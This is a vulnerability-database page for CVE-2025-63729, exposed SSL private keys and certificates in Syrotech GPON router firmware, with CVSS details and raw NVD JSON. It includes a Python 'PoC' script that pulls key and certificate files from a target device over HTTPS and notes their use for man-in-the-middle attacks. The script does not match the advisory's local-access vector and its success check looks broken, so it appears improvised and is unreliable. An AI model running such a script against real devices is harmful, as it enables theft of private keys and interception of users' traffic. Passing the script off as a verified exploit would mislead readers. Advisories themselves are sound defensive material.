Security Vulnerability Report
中文
CVE-2025-63729 CVSS 9.0 CRITICAL

CVE-2025-63729

Published: 2025-11-25 17:15:50
Last Modified: 2025-12-30 17:17:23

Description

An issue was discovered in Syrotech SY-GPON-1110-WDONT SYRO_3.7L_3.1.02-240517 allowing attackers to exctract the SSL Private Key, CA Certificate, SSL Certificate, and Client Certificates in .pem format in firmware in etc folder.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:syrotech:sy-gpon-1110-wdont_firmware:3.1.02-240517:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:syrotech:sy-gpon-1110-wdont:3.7l:*:*:*:*:*:*:* - NOT VULNERABLE
Syrotech SY-GPON-1110-WDONT < SYRO_3.7L_3.1.02-240517
固件版本 SYRO_3.7L_3.1.02-240517 及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-63729 PoC - Syrotech GPON Certificate Extraction # Target: Syrotech SY-GPON-1110-WDONT (Firmware: SYRO_3.7L_3.1.02-240517) # Vulnerability: Unprotected access to SSL private keys and certificates import requests import os import sys TARGET_IP = "192.168.1.1" # Target GPON device IP TARGET_PORT = 443 def exploit_cve_2025_63729(): """ Exploit for CVE-2025-63729: Extract SSL certificates and private keys from Syrotech SY-GPON-1110-WDONT device """ print(f"[*] Targeting {TARGET_IP}:{TARGET_PORT}") print(f"[*] Exploiting CVE-2025-63729...") # Sensitive files to extract from /etc folder sensitive_files = [ "/etc/ssl/private/server.key", # SSL Private Key "/etc/ssl/certs/ca.crt", # CA Certificate "/etc/ssl/certs/server.crt", # SSL Certificate "/etc/ssl/certs/client.crt", # Client Certificate ] extracted_files = [] for file_path in sensitive_files: try: # Attempt to download sensitive certificate files url = f"https://{TARGET_IP}:{TARGET_PORT}{file_path}" response = requests.get(url, verify=False, timeout=10) if response.status_code == 200 and ".pem" in response.text: filename = os.path.basename(file_path) with open(filename, 'w') as f: f.write(response.text) extracted_files.append(filename) print(f"[+] Extracted: {filename}") except Exception as e: print(f"[-] Failed to extract {file_path}: {e}") if extracted_files: print(f"\n[!] Successfully extracted {len(extracted_files)} certificate files") print("[!] These credentials can be used for MITM attacks") else: print("[-] No certificates extracted") return extracted_files if __name__ == "__main__": exploit_cve_2025_63729()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63729", "sourceIdentifier": "[email protected]", "published": "2025-11-25T17:15:50.243", "lastModified": "2025-12-30T17:17:23.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Syrotech SY-GPON-1110-WDONT SYRO_3.7L_3.1.02-240517 allowing attackers to exctract the SSL Private Key, CA Certificate, SSL Certificate, and Client Certificates in .pem format in firmware in etc folder."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-312"}, {"lang": "en", "value": "CWE-532"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:syrotech:sy-gpon-1110-wdont_firmware:3.1.02-240517:*:*:*:*:*:*:*", "matchCriteriaId": "777C17CC-02C8-45BA-8793-5EB4FCF3EA73"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:syrotech:sy-gpon-1110-wdont:3.7l:*:*:*:*:*:*:*", "matchCriteriaId": "3B513916-75EF-43D3-9C16-44DA82E68592"}]}]}], "references": [{"url": "https://github.com/Yashodhanvivek/CVE-2025-63729-Syrotech-SY-GPON-1110-/blob/main/Syrotech_SY-GPON-1110-WDONT_Security_Assessment.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}